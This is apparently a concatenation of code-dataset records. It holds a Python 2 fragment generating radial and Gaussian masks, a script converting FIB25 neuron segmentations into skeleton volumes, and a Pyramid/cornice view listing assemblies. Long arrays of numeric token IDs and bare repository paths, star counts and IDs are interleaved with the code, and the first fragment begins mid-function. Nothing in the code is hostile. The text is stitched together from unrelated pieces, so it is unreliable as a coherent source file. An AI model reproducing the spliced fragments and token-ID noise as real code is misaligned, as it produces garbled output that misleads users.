generateGaussion1(shape, sigma=None): """ this method is about 4x slower than method 2 """ t0 = time.time() if sigma is None: sigma = numpy.mean(shape)/4.0 circular = generateRadial1(shape) circular = numpy.exp(-circular / sigma**2) print "gaussian 1 complete in %.4f sec"%(time.time()-t0) return circular #=================== def generateGaussion2(shape, sigma=None): """ this method is about 4x faster than method 1 """ t0 = time.time() if sigma is None: sigma = numpy.mean(shape)/4.0 circular = generateRadial2(shape) circular = numpy.exp(-circular/sigma**2) print "gaussian 2 complete in %.4f sec"%(time.time()-t0) return circular #=================== #=================== #=================== if __name__ == "__main__": r = circle.Radial((7,11)) a = r.radial print numpy.array(numpy.exp(-a/3)*1000, dtype=numpy.uint16)
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 13, 5215, 5844, 13, 5215, 931, 13, 5215, 12655, 13, 13, 3166, 623, 291, 1982, 29889, 481, 2940, 1053, 6382, 342, 271, 13, 13, 29937, 9166, 25512, 13, 29937, 319, 9312, 13309, 1718, 383, 28700, 29903, 13, 29937, 9166, 25512, 13, 13, 29937, 9166, 25512, 13, 1990, 11575, 29898, 3318, 1125, 13, 12, 1753, 4770, 2344, 12035, 1311, 29892, 8267, 29892, 921, 29888, 7971, 29922, 29896, 29889, 29900, 29892, 343, 29888, 7971, 29922, 29896, 29889, 29900, 29892, 4818, 29922, 5574, 29892, 285, 3466, 29922, 8824, 1125, 13, 12, 12, 29937, 6230, 13, 12, 12, 361, 4818, 338, 5852, 29901, 13, 12, 12, 12, 2277, 29937, 5418, 515, 4818, 13, 12, 12, 12, 1311, 29889, 5064, 353, 12655, 29889, 2378, 29898, 12181, 29892, 26688, 29922, 23749, 29889, 7411, 29953, 29946, 6802, 29906, 29889, 29900, 448, 29871, 29900, 29889, 29945, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 2277, 29937, 278, 7568, 29899, 1563, 7636, 13, 12, 12, 12, 1311, 29889, 5064, 353, 8521, 29900, 29889, 29945, 29892, 448, 29900, 29889, 29945, 29897, 13, 12, 12, 29937, 740, 13, 12, 12, 1311, 29889, 29888, 3466, 353, 285, 3466, 13, 12, 12, 1311, 29889, 24660, 7971, 353, 921, 29888, 7971, 13, 12, 12, 1311, 29889, 29891, 29888, 7971, 353, 343, 29888, 7971, 13, 12, 12, 1311, 29889, 6825, 353, 12655, 29889, 3166, 2220, 29898, 1311, 29889, 27014, 273, 29892, 8267, 29892, 26688, 29922, 23749, 29889, 7411, 29953, 29946, 29897, 13, 13, 12, 1753, 564, 312, 273, 29898, 1311, 29892, 343, 29892, 921, 1125, 13, 12, 12, 4518, 353, 313, 29891, 448, 1583, 29889, 5064, 29961, 29900, 2314, 29930, 1311, 29889, 29891, 29888, 7971, 13, 12, 12, 8235, 353, 313, 29916, 448, 1583, 29889, 5064, 29961, 29896, 2314, 29930, 1311, 29889, 24660, 7971, 13, 12, 12, 361, 1583, 29889, 29888, 3466, 338, 5852, 29901, 13, 12, 12, 12, 4518, 353, 448, 29896, 29889, 29900, 29930, 23749, 29889, 20157, 572, 29878, 29898, 4518, 29897, 13, 12, 12, 12, 8235, 353, 448, 29896, 29889, 29900, 29930, 8235, 13, 12, 12, 12, 29937, 2158, 376, 20157, 3262, 29908, 13, 12, 12, 29937, 2158, 376, 4518, 613, 13475, 13, 12, 12, 29937, 2158, 376, 8235, 613, 15414, 13, 12, 12, 2521, 353, 12655, 29889, 27014, 273, 29906, 29898, 4518, 29892, 15414, 29897, 13, 12, 12, 2457, 10696, 13, 13, 29937, 9166, 25512, 13, 1753, 5706, 9928, 1070, 29896, 29898, 12181, 29892, 921, 29888, 7971, 29892, 343, 29888, 7971, 1125, 13, 12, 15945, 29908, 13, 12, 1366, 1158, 338, 1048, 29871, 29906, 29916, 20312, 1135, 1158, 29871, 29906, 13, 12, 15945, 29908, 13, 12, 29873, 29900, 353, 931, 29889, 2230, 580, 13, 12, 29874, 353, 11575, 29898, 12181, 29892, 921, 29888, 7971, 29892, 343, 29888, 7971, 29897, 13, 12, 6825, 353, 263, 29889, 6825, 13, 12, 2277, 29937, 10650, 11855, 515, 4818, 13, 12, 29937, 2158, 12655, 29889, 11316, 29898, 6825, 29930, 29896, 29947, 29900, 29914, 755, 29889, 1631, 29892, 29896, 29897, 13, 12, 2158, 376, 6825, 29871, 29896, 4866, 297, 18695, 29946, 29888, 5226, 29908, 29995, 29898, 2230, 29889, 2230, 580, 29899, 29873, 29900, 29897, 13, 12, 2457, 6401, 13, 13, 29937, 9166, 25512, 13, 1753, 5706, 9928, 1070, 29906, 29898, 12181, 29892, 921, 29888, 7971, 29892, 343, 29888, 7971, 1125, 13, 12, 15945, 29908, 13, 12, 1366, 1158, 338, 1048, 29871, 29906, 29916, 8473, 1135, 1158, 29871, 29896, 13, 12, 15945, 29908, 13, 12, 29873, 29900, 353, 931, 29889, 2230, 580, 13, 12, 361, 8267, 29961, 29900, 29962, 1273, 29871, 29906, 2804, 29871, 29900, 470, 8267, 29961, 29896, 29962, 1273, 29871, 29906, 2804, 29871, 29900, 29901, 13, 12, 12, 481, 9323, 29889, 2158, 2392, 703, 2378, 8267, 363, 28373, 740, 1818, 367, 1584, 1159, 13, 13, 12, 24498, 12181, 353, 12655, 29889, 2378, 29898, 12181, 6802, 29906, 29889, 29900, 13, 12, 29874, 353, 11575, 29898, 24498, 12181, 29892, 921, 29888, 7971, 29892, 343, 29888, 7971, 29892, 4818, 29922, 8824, 29892, 285, 3466, 29922, 8824, 29897, 13, 12, 6825, 29896, 353, 263, 29889, 6825, 13, 12, 29890, 353, 11575, 29898, 24498, 12181, 29892, 921, 29888, 7971, 29892, 343, 29888, 7971, 29892, 4818, 29922, 8824, 29892, 285, 3466, 29922, 5574, 29897, 13, 12, 6825, 29906, 353, 12655, 29889, 20157, 572, 29878, 29898, 29890, 29889, 6825, 29897, 13, 12, 6034, 1070, 353, 12655, 29889, 29894, 1429, 29898, 29871, 13, 12, 12, 29898, 23749, 29889, 29882, 1429, 29898, 29871, 13, 12, 12, 12, 29898, 23749, 29889, 29888, 3466, 566, 29898, 6825, 29906, 511, 448, 23749, 29889, 29888, 3466, 566, 29898, 6825, 29896, 876, 13, 12, 12, 511, 23749, 29889, 29882, 1429, 29898, 29871, 13, 12, 12, 12, 6278, 6825, 29906, 29892, 6401, 29896, 511, 29871, 13, 12, 12, 4961, 13, 13, 12, 2277, 29937, 10650, 11855, 515, 4818, 13, 12, 29937, 2158, 12655, 29889, 11316, 29898, 6034, 1070, 29930, 29896, 29947, 29900, 29914, 755, 29889, 1631, 29892, 29896, 29897, 13, 12, 2158, 376, 6825, 29871, 29906, 4866, 297, 18695, 29946, 29888, 5226, 29908, 29995, 29898, 2230, 29889, 2230, 580, 29899, 29873, 29900, 29897, 13, 12, 2457, 19308, 13, 13, 29937, 9166, 25512, 13, 29937, 390, 3035, 25758, 383, 28700, 29903, 13, 29937, 9166, 25512, 13, 13, 29937, 9166, 25512, 13, 1990, 4957, 616, 29898, 3318, 1125, 13, 12, 1753, 4770, 2344, 12035, 1311, 29892, 8267, 29892, 921, 29888, 7971, 29922, 29896, 29889, 29900, 29892, 343, 29888, 7971, 29922, 29896, 29889, 29900, 29892, 4818, 29922, 5574, 1125, 13, 12, 12, 29937, 6230, 13, 12, 12, 361, 4818, 338, 5852, 29901, 13, 12, 12, 12, 2277, 29937, 5418, 515, 4818, 13, 12, 12, 12, 1311, 29889, 5064, 353, 12655, 29889, 2378, 29898, 12181, 29892, 26688, 29922, 23749, 29889, 7411, 29953, 29946, 6802, 29906, 29889, 29900, 448, 29871, 29900, 29889, 29945, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 2277, 29937, 278, 7568, 29899, 1563, 7636, 13, 12, 12, 12, 1311, 29889, 5064, 353, 8521, 29900, 29889, 29945, 29892, 448, 29900, 29889, 29945, 29897, 13, 12, 12, 1311, 29889, 24660, 7971, 3044, 353, 921, 29888, 7971, 1068, 29906, 13, 12, 12, 1311, 29889, 29891, 29888, 7971, 3044, 353, 343, 29888, 7971, 1068, 29906, 13, 12, 12, 29937, 740, 13, 12, 12, 1311, 29889, 3665, 616, 353, 12655, 29889, 3166, 2220, 29898, 1311, 29889, 19244, 29892, 8267, 29892, 26688, 29922, 23749, 29889, 7411, 29953, 29946, 29897, 13, 13, 12, 1753, 5418, 29898, 1311, 29892, 343, 29892, 921, 1125, 13, 12, 12, 19244, 353, 313, 13, 12, 12, 12, 29898, 29916, 448, 1583, 29889, 5064, 29961, 29896, 2314, 1068, 29906, 334, 1583, 29889, 24660, 7971, 3044, 29871, 13, 12, 12, 12, 29974, 313, 29891, 448, 1583, 29889, 5064, 29961, 29900, 2314, 1068, 29906, 334, 1583, 29889, 29891, 29888, 7971, 3044, 13, 12, 12, 29897, 13, 12, 12, 2457, 5418, 13, 13, 29937, 9166, 25512, 13, 1753, 5706, 9908, 616, 29896, 29898, 12181, 29892, 921, 29888, 7971, 29892, 343, 29888, 7971, 1125, 13, 12, 15945, 29908, 13, 12, 1366, 1158, 338, 1048, 29871, 29946, 29916, 20312, 1135, 1158, 29871, 29906, 13, 12, 15945, 29908, 13, 12, 29873, 29900, 353, 931, 29889, 2230, 580, 13, 12, 29878, 353, 4957, 616, 29898, 12181, 29892, 921, 29888, 7971, 29892, 343, 29888, 7971, 29897, 13, 12, 6034, 1070, 353, 364, 29889, 3665, 616, 13, 12, 2277, 29937, 10650, 11855, 515, 4818, 13, 12, 29937, 2158, 19308, 13, 12, 2158, 376, 3665, 616, 29871, 29896, 4866, 297, 18695, 29946, 29888, 5226, 29908, 29995, 29898, 2230, 29889, 2230, 580, 29899, 29873, 29900, 29897, 13, 12, 2457, 19308, 13, 13, 29937, 9166, 25512, 13, 1753, 11855, 9891, 29898, 29916, 29892, 343, 1125, 13, 12, 3665, 29875, 1558, 29939, 353, 313, 29916, 718, 29871, 29900, 29889, 29945, 29897, 1068, 29906, 718, 313, 29891, 718, 29871, 29900, 29889, 29945, 29897, 1068, 29906, 13, 12, 2457, 17937, 1558, 29939, 13, 13, 29937, 9166, 25512, 13, 1753, 5706, 9908, 616, 29906, 29898, 12181, 29892, 921, 29888, 7971, 29922, 29896, 29889, 29900, 29892, 343, 29888, 7971, 29922, 29896, 29889, 29900, 1125, 13, 12, 15945, 29908, 13, 12, 1366, 1158, 338, 1048, 29871, 29946, 29916, 8473, 1135, 1158, 29871, 29896, 13, 12, 15945, 29908, 13, 12, 29873, 29900, 353, 931, 29889, 2230, 580, 13, 12, 2158, 8267, 13, 12, 361, 8267, 29961, 29900, 29962, 1273, 29871, 29906, 2804, 29871, 29900, 470, 8267, 29961, 29896, 29962, 1273, 29871, 29906, 2804, 29871, 29900, 29901, 13, 12, 12, 481, 9323, 29889, 2158, 2392, 703, 2378, 8267, 363, 28373, 740, 1818, 367, 1584, 1159, 13, 13, 12, 24498, 12181, 353, 12655, 29889, 2378, 29898, 12181, 6802, 29906, 29889, 29900, 13, 12, 29937, 3665, 616, 353, 12655, 29889, 3166, 2220, 29898, 13471, 9891, 29892, 4203, 12181, 29897, 13, 12, 29878, 353, 4957, 616, 29898, 24498, 12181, 29892, 921, 29888, 7971, 29892, 343, 29888, 7971, 29892, 4818, 29922, 8824, 29897, 13, 12, 3665, 616, 353, 364, 29889, 3665, 616, 13, 12, 6034, 1070, 353, 12655, 29889, 29894, 1429, 29898, 29871, 13, 12, 12, 29898, 23749, 29889, 29882, 1429, 29898, 29871, 13, 12, 12, 12, 29898, 23749, 29889, 20157, 572, 29878, 29898, 23749, 29889, 29888, 3466, 566, 29898, 3665, 616, 8243, 12655, 29889, 29888, 3466, 566, 29898, 3665, 616, 876, 13, 12, 12, 511, 23749, 29889, 29882, 1429, 29898, 29871, 13, 12, 12, 12, 29898, 23749, 29889, 20157, 572, 29878, 29898, 3665, 616, 511, 28373, 511, 29871, 13, 12, 12, 4961, 13, 12, 2277, 29937, 10650, 11855, 515, 4818, 13, 12, 29937, 2158, 19308, 13, 12, 2158, 376, 3665, 616, 29871, 29906, 4866, 297, 18695, 29946, 29888, 5226, 29908, 29995, 29898, 2230, 29889, 2230, 580, 29899, 29873, 29900, 29897, 13, 12, 2457, 19308, 13, 13, 29937, 9166, 25512, 13, 29937, 402, 25951, 1799, 29902, 2190, 383, 28700, 29903, 13, 29937, 9166, 25512, 13, 13, 13, 29937, 9166, 25512, 13, 1753, 5706, 29954, 11214, 291, 29896, 29898, 12181, 29892, 269, 2934, 29922, 8516, 1125, 13, 12, 15945, 29908, 13, 12, 1366, 1158, 338, 1048, 29871, 29946, 29916, 20312, 1135, 1158, 29871, 29906, 13, 12, 15945, 29908, 13, 12, 29873, 29900, 353, 931, 29889, 2230, 580, 13, 12, 361, 269, 2934, 338, 6213, 29901, 13, 12, 12, 3754, 353, 12655, 29889, 12676, 29898, 12181, 6802, 29946, 29889, 29900, 13, 12, 6034, 1070, 353, 5706, 9908, 616, 29896, 29898, 12181, 29897, 13, 12, 6034, 1070, 353, 12655, 29889, 4548, 6278, 6034, 1070, 847, 269, 2934, 1068, 29906, 29897, 13, 12, 2158, 376, 29887, 17019, 29871, 29896, 4866, 297, 18695, 29946, 29888, 5226, 29908, 29995, 29898, 2230, 29889, 2230, 580, 29899, 29873, 29900, 29897, 13, 12, 2457, 19308, 13, 13, 29937, 9166, 25512, 13, 1753, 5706, 29954, 11214, 291, 29906, 29898, 12181, 29892, 269, 2934, 29922, 8516, 1125, 13, 12, 15945, 29908, 13, 12, 1366, 1158, 338, 1048, 29871, 29946, 29916, 8473, 1135, 1158, 29871, 29896, 13, 12, 15945, 29908, 13, 12, 29873, 29900, 353, 931, 29889, 2230, 580, 13, 12, 361, 269, 2934, 338, 6213, 29901, 13, 12, 12, 3754, 353, 12655, 29889, 12676, 29898, 12181, 6802, 29946, 29889, 29900, 13, 12, 6034, 1070, 353, 5706, 9908, 616, 29906, 29898, 12181, 29897, 13, 12, 6034, 1070, 353, 12655, 29889, 4548, 6278, 6034, 1070, 29914, 3754, 1068, 29906, 29897, 13, 12, 2158, 376, 29887, 17019, 29871, 29906, 4866, 297, 18695, 29946, 29888, 5226, 29908, 29995, 29898, 2230, 29889, 2230, 580, 29899, 29873, 29900, 29897, 13, 12, 2457, 19308, 13, 13, 29937, 9166, 25512, 13, 29937, 9166, 25512, 13, 29937, 9166, 25512, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 12, 29878, 353, 8607, 29889, 9908, 616, 3552, 29955, 29892, 29896, 29896, 876, 13, 12, 29874, 353, 364, 29889, 3665, 616, 13, 12, 2158, 12655, 29889, 2378, 29898, 23749, 29889, 4548, 6278, 29874, 29914, 29941, 11877, 29896, 29900, 29900, 29900, 29892, 26688, 29922, 23749, 29889, 13470, 29896, 29953, 29897, 13, 2 ]
publications/leveraging_domain_knowledge/2_false_merge_detection/3_skeletonize.py
constantinpape/cluster_tools
28
171989
#! /g/kreshuk/pape/Work/software/conda/miniconda3/envs/cluster-new/bin/python import os import json from concurrent import futures import numpy as np import luigi import z5py import skeletor.io from cluster_tools.skeletons import SkeletonWorkflow def check_scale(scale): path = '/g/kreshuk/data/FIB25/data.n5' input_key = 'volumes/paintera/multicut/data/s%i' % scale f = z5py.File(path) ds = f[input_key] shape = ds.shape print(shape) def skeletonize(scale, target, max_jobs): path = '/g/kreshuk/data/FIB25/data.n5' input_key = 'volumes/paintera/multicut/data/s%i' % scale output_key = 'skeletons/s%i' % scale config_dir = './configs' tmp_folder = './tmp_skeletons_%i' % scale os.makedirs(config_dir, exist_ok=True) config = SkeletonWorkflow.get_config() global_config = config['global'] shebang = '#! /g/kreshuk/pape/Work/software/conda/miniconda3/envs/cluster-new/bin/python' global_config.update({'shebang': shebang}) with open(os.path.join(config_dir, 'global.config'), 'w') as f: json.dump(global_config, f) config = config['skeletonize'] config.update({'time_limit': 600, 'mem_limit': 16}) with open(os.path.join(config_dir, 'skeletonize.config'), 'w') as f: json.dump(config, f) resolution = [8, 8, 8] size_threshold = 2000 max_id = z5py.File(path)['volumes/paintera/multicut/data'].attrs['maxId'] task = SkeletonWorkflow(tmp_folder=tmp_folder, config_dir=config_dir, max_jobs=max_jobs, target=target, input_path=path, input_key=input_key, output_path=path, output_key=output_key, resolution=resolution, size_threshold=size_threshold, max_id=max_id) success = luigi.build([task], local_scheduler=True) assert success def skeletons_to_volume(scale, n_threads): path = '/g/kreshuk/data/FIB25/data.n5' f = z5py.File(path) seg_key = 'volumes/paintera/multicut/data/s%i' % scale in_key = 'skeletons/s%i' % scale out_key = 'skeletons/volumes/s%i' % scale shape = f[seg_key].shape chunks = f[seg_key].chunks seg = np.zeros(shape, dtype='uint64') ds_in = f[in_key] def seg_to_vol(seg_id): nodes, _ = skeletor.io.read_n5(ds_in, seg_id) if nodes is None: return print(seg_id, '/', ds_in.shape[0]) coords = tuple(np.array([node[i] for node in nodes]) for i in range(3)) seg[coords] = seg_id with futures.ThreadPoolExecutor(n_threads) as tp: tasks = [tp.submit(seg_to_vol, seg_id) for seg_id in range(ds_in.shape[0])] [t.result() for t in tasks] ds_out = f.require_dataset(out_key, shape=shape, chunks=chunks, compression='gzip', dtype='uint64') ds_out.n_threads = n_threads ds_out[:] = seg if __name__ == '__main__': # TODO which scale ? scale = 2 # check_scale(scale) target = 'local' max_jobs = 48 # skeletonize(scale, target, max_jobs) skeletons_to_volume(scale, max_jobs)
[ 1, 396, 29991, 847, 29887, 29914, 29895, 3781, 2679, 29914, 3274, 412, 29914, 5531, 29914, 20415, 29914, 18050, 29914, 1195, 293, 14287, 29941, 29914, 264, 4270, 29914, 19594, 29899, 1482, 29914, 2109, 29914, 4691, 13, 13, 5215, 2897, 13, 5215, 4390, 13, 3166, 21984, 1053, 3105, 1973, 13, 13, 5215, 12655, 408, 7442, 13, 5215, 8092, 10091, 13, 5215, 503, 29945, 2272, 13, 5215, 18109, 1026, 272, 29889, 601, 13, 13, 3166, 9867, 29918, 8504, 29889, 26050, 1026, 787, 1053, 317, 446, 11285, 5531, 1731, 13, 13, 13, 1753, 1423, 29918, 7052, 29898, 7052, 1125, 13, 1678, 2224, 353, 8207, 29887, 29914, 29895, 3781, 2679, 29914, 1272, 29914, 3738, 29933, 29906, 29945, 29914, 1272, 29889, 29876, 29945, 29915, 13, 1678, 1881, 29918, 1989, 353, 525, 1555, 9351, 29914, 29886, 475, 10120, 29914, 4713, 24408, 29914, 1272, 29914, 29879, 29995, 29875, 29915, 1273, 6287, 13, 1678, 285, 353, 503, 29945, 2272, 29889, 2283, 29898, 2084, 29897, 13, 1678, 18031, 353, 285, 29961, 2080, 29918, 1989, 29962, 13, 1678, 8267, 353, 18031, 29889, 12181, 13, 1678, 1596, 29898, 12181, 29897, 13, 13, 13, 1753, 18109, 11285, 675, 29898, 7052, 29892, 3646, 29892, 4236, 29918, 9057, 29879, 1125, 13, 13, 1678, 2224, 353, 8207, 29887, 29914, 29895, 3781, 2679, 29914, 1272, 29914, 3738, 29933, 29906, 29945, 29914, 1272, 29889, 29876, 29945, 29915, 13, 1678, 1881, 29918, 1989, 353, 525, 1555, 9351, 29914, 29886, 475, 10120, 29914, 4713, 24408, 29914, 1272, 29914, 29879, 29995, 29875, 29915, 1273, 6287, 13, 1678, 1962, 29918, 1989, 353, 525, 26050, 1026, 787, 29914, 29879, 29995, 29875, 29915, 1273, 6287, 13, 13, 1678, 2295, 29918, 3972, 353, 19283, 2917, 29879, 29915, 13, 1678, 13128, 29918, 12083, 353, 19283, 7050, 29918, 26050, 1026, 787, 29918, 29995, 29875, 29915, 1273, 6287, 13, 1678, 2897, 29889, 29885, 12535, 12935, 29898, 2917, 29918, 3972, 29892, 1863, 29918, 554, 29922, 5574, 29897, 13, 13, 1678, 2295, 353, 317, 446, 11285, 5531, 1731, 29889, 657, 29918, 2917, 580, 13, 1678, 5534, 29918, 2917, 353, 2295, 1839, 10945, 2033, 13, 1678, 1183, 29890, 574, 353, 16321, 29991, 847, 29887, 29914, 29895, 3781, 2679, 29914, 3274, 412, 29914, 5531, 29914, 20415, 29914, 18050, 29914, 1195, 293, 14287, 29941, 29914, 264, 4270, 29914, 19594, 29899, 1482, 29914, 2109, 29914, 4691, 29915, 13, 1678, 5534, 29918, 2917, 29889, 5504, 3319, 29915, 11360, 29890, 574, 2396, 1183, 29890, 574, 1800, 13, 1678, 411, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 2917, 29918, 3972, 29892, 525, 10945, 29889, 2917, 5477, 525, 29893, 1495, 408, 285, 29901, 13, 4706, 4390, 29889, 15070, 29898, 10945, 29918, 2917, 29892, 285, 29897, 13, 13, 1678, 2295, 353, 2295, 1839, 26050, 11285, 675, 2033, 13, 1678, 2295, 29889, 5504, 3319, 29915, 2230, 29918, 13400, 2396, 29871, 29953, 29900, 29900, 29892, 525, 6954, 29918, 13400, 2396, 29871, 29896, 29953, 1800, 13, 1678, 411, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 2917, 29918, 3972, 29892, 525, 26050, 11285, 675, 29889, 2917, 5477, 525, 29893, 1495, 408, 285, 29901, 13, 4706, 4390, 29889, 15070, 29898, 2917, 29892, 285, 29897, 13, 13, 1678, 10104, 353, 518, 29947, 29892, 29871, 29947, 29892, 29871, 29947, 29962, 13, 1678, 2159, 29918, 386, 12268, 353, 29871, 29906, 29900, 29900, 29900, 13, 1678, 4236, 29918, 333, 353, 503, 29945, 2272, 29889, 2283, 29898, 2084, 29897, 1839, 1555, 9351, 29914, 29886, 475, 10120, 29914, 4713, 24408, 29914, 1272, 13359, 5552, 29879, 1839, 3317, 1204, 2033, 13, 13, 1678, 3414, 353, 317, 446, 11285, 5531, 1731, 29898, 7050, 29918, 12083, 29922, 7050, 29918, 12083, 29892, 2295, 29918, 3972, 29922, 2917, 29918, 3972, 29892, 13, 462, 9651, 4236, 29918, 9057, 29879, 29922, 3317, 29918, 9057, 29879, 29892, 3646, 29922, 5182, 29892, 13, 462, 9651, 1881, 29918, 2084, 29922, 2084, 29892, 1881, 29918, 1989, 29922, 2080, 29918, 1989, 29892, 13, 462, 9651, 1962, 29918, 2084, 29922, 2084, 29892, 1962, 29918, 1989, 29922, 4905, 29918, 1989, 29892, 13, 462, 9651, 10104, 29922, 9778, 918, 29892, 2159, 29918, 386, 12268, 29922, 2311, 29918, 386, 12268, 29892, 13, 462, 9651, 4236, 29918, 333, 29922, 3317, 29918, 333, 29897, 13, 1678, 2551, 353, 8092, 10091, 29889, 4282, 4197, 7662, 1402, 1887, 29918, 816, 14952, 29922, 5574, 29897, 13, 1678, 4974, 2551, 13, 13, 13, 1753, 18109, 1026, 787, 29918, 517, 29918, 24623, 29898, 7052, 29892, 302, 29918, 28993, 1125, 13, 1678, 2224, 353, 8207, 29887, 29914, 29895, 3781, 2679, 29914, 1272, 29914, 3738, 29933, 29906, 29945, 29914, 1272, 29889, 29876, 29945, 29915, 13, 1678, 285, 353, 503, 29945, 2272, 29889, 2283, 29898, 2084, 29897, 13, 1678, 2377, 29918, 1989, 353, 525, 1555, 9351, 29914, 29886, 475, 10120, 29914, 4713, 24408, 29914, 1272, 29914, 29879, 29995, 29875, 29915, 1273, 6287, 13, 1678, 297, 29918, 1989, 353, 525, 26050, 1026, 787, 29914, 29879, 29995, 29875, 29915, 1273, 6287, 13, 1678, 714, 29918, 1989, 353, 525, 26050, 1026, 787, 29914, 1555, 9351, 29914, 29879, 29995, 29875, 29915, 1273, 6287, 13, 13, 1678, 8267, 353, 285, 29961, 10199, 29918, 1989, 1822, 12181, 13, 1678, 521, 18801, 353, 285, 29961, 10199, 29918, 1989, 1822, 305, 18801, 13, 1678, 2377, 353, 7442, 29889, 3298, 359, 29898, 12181, 29892, 26688, 2433, 13470, 29953, 29946, 1495, 13, 1678, 18031, 29918, 262, 353, 285, 29961, 262, 29918, 1989, 29962, 13, 13, 1678, 822, 2377, 29918, 517, 29918, 1555, 29898, 10199, 29918, 333, 1125, 13, 4706, 7573, 29892, 903, 353, 18109, 1026, 272, 29889, 601, 29889, 949, 29918, 29876, 29945, 29898, 6289, 29918, 262, 29892, 2377, 29918, 333, 29897, 13, 4706, 565, 7573, 338, 6213, 29901, 13, 9651, 736, 13, 4706, 1596, 29898, 10199, 29918, 333, 29892, 8207, 742, 18031, 29918, 262, 29889, 12181, 29961, 29900, 2314, 13, 4706, 1302, 4339, 353, 18761, 29898, 9302, 29889, 2378, 4197, 3177, 29961, 29875, 29962, 363, 2943, 297, 7573, 2314, 363, 474, 297, 3464, 29898, 29941, 876, 13, 4706, 2377, 29961, 1111, 4339, 29962, 353, 2377, 29918, 333, 13, 13, 1678, 411, 3105, 1973, 29889, 23574, 13366, 29898, 29876, 29918, 28993, 29897, 408, 260, 29886, 29901, 13, 4706, 9595, 353, 518, 9392, 29889, 7892, 29898, 10199, 29918, 517, 29918, 1555, 29892, 2377, 29918, 333, 29897, 363, 2377, 29918, 333, 297, 3464, 29898, 6289, 29918, 262, 29889, 12181, 29961, 29900, 2314, 29962, 13, 4706, 518, 29873, 29889, 2914, 580, 363, 260, 297, 9595, 29962, 13, 13, 1678, 18031, 29918, 449, 353, 285, 29889, 12277, 29918, 24713, 29898, 449, 29918, 1989, 29892, 8267, 29922, 12181, 29892, 521, 18801, 29922, 305, 18801, 29892, 13, 462, 1669, 24221, 2433, 29887, 7554, 742, 26688, 2433, 13470, 29953, 29946, 1495, 13, 1678, 18031, 29918, 449, 29889, 29876, 29918, 28993, 353, 302, 29918, 28993, 13, 1678, 18031, 29918, 449, 7503, 29962, 353, 2377, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 396, 14402, 607, 6287, 1577, 13, 1678, 6287, 353, 29871, 29906, 13, 1678, 396, 1423, 29918, 7052, 29898, 7052, 29897, 13, 1678, 3646, 353, 525, 2997, 29915, 13, 1678, 4236, 29918, 9057, 29879, 353, 29871, 29946, 29947, 13, 1678, 396, 18109, 11285, 675, 29898, 7052, 29892, 3646, 29892, 4236, 29918, 9057, 29879, 29897, 13, 1678, 18109, 1026, 787, 29918, 517, 29918, 24623, 29898, 7052, 29892, 4236, 29918, 9057, 29879, 29897, 13, 2 ]
fabrikApi/views/assembly/list.py
demokratiefabrik/fabrikApi
0
23710
""" Assemblies List View. """ import logging from datetime import datetime from cornice.service import Service from fabrikApi.models.assembly import DBAssembly from fabrikApi.models.mixins import arrow # from fabrikApi.util.cors import CORS_LOCATION, CORS_MAX_AGE logger = logging.getLogger(__name__) # SERVICES assemblies = Service(cors_origins=('*',), name='assemblies', description='List Assemblies.', path='/assemblies') @assemblies.get(permission='public') def get_assemblies(request): """Returns all assemblies which are either public or accessible by the current user. """ # load all active assemblies # TODO: filter only active assemblies assemblies = request.dbsession.query(DBAssembly).all() for assembly in assemblies: # assembly.patch() assembly.setup_lineage(request) # show only assemblies with at least view permission. assemblies = list( filter(lambda assembly: request.has_public_permission(assembly), assemblies) ) assemblies = {v.identifier: v for v in assemblies} return({ 'assemblies': assemblies, 'access_date': arrow.utcnow() })
[ 1, 9995, 4007, 1590, 3687, 2391, 4533, 29889, 9995, 13, 13, 5215, 12183, 13, 3166, 12865, 1053, 12865, 13, 13, 3166, 1034, 16533, 29889, 5509, 1053, 6692, 13, 13, 3166, 10135, 5357, 11713, 29889, 9794, 29889, 26936, 1053, 360, 5688, 893, 5789, 13, 3166, 10135, 5357, 11713, 29889, 9794, 29889, 28084, 1144, 1053, 16578, 13, 29937, 515, 10135, 5357, 11713, 29889, 4422, 29889, 29883, 943, 1053, 315, 24125, 29918, 16652, 8098, 29892, 315, 24125, 29918, 12648, 29918, 10461, 13, 13, 21707, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 13, 29937, 26996, 29963, 2965, 2890, 13, 465, 1590, 3687, 353, 6692, 29898, 29883, 943, 29918, 12683, 1144, 29922, 877, 29930, 742, 511, 13, 1678, 1024, 2433, 465, 1590, 3687, 742, 29871, 13, 1678, 6139, 2433, 1293, 4007, 1590, 3687, 29889, 742, 29871, 13, 1678, 2224, 2433, 29914, 465, 1590, 3687, 1495, 13, 13, 29992, 465, 1590, 3687, 29889, 657, 29898, 16074, 2433, 3597, 1495, 13, 1753, 679, 29918, 465, 1590, 3687, 29898, 3827, 1125, 13, 1678, 9995, 11609, 29879, 599, 24367, 3687, 607, 526, 2845, 970, 470, 15579, 491, 278, 1857, 1404, 29889, 13, 1678, 9995, 13, 13, 1678, 396, 2254, 599, 6136, 24367, 3687, 13, 1678, 396, 14402, 29901, 4175, 871, 6136, 24367, 3687, 13, 1678, 24367, 3687, 353, 2009, 29889, 2585, 7924, 29889, 1972, 29898, 4051, 22400, 467, 497, 580, 13, 13, 1678, 363, 11470, 297, 24367, 3687, 29901, 13, 4706, 396, 11470, 29889, 5041, 580, 13, 4706, 11470, 29889, 14669, 29918, 1220, 482, 29898, 3827, 29897, 13, 13, 1678, 396, 1510, 871, 24367, 3687, 411, 472, 3203, 1776, 10751, 29889, 13, 1678, 24367, 3687, 353, 1051, 29898, 13, 4706, 4175, 29898, 2892, 11470, 29901, 2009, 29889, 5349, 29918, 3597, 29918, 16074, 29898, 26936, 511, 13, 1669, 24367, 3687, 29897, 13, 1678, 1723, 13, 13, 1678, 24367, 3687, 353, 426, 29894, 29889, 25378, 29901, 325, 363, 325, 297, 24367, 3687, 29913, 13, 13, 1678, 736, 3319, 13, 4706, 525, 465, 1590, 3687, 2396, 24367, 3687, 29892, 13, 4706, 525, 5943, 29918, 1256, 2396, 16578, 29889, 329, 29883, 3707, 580, 13, 1678, 5615, 13, 2 ]
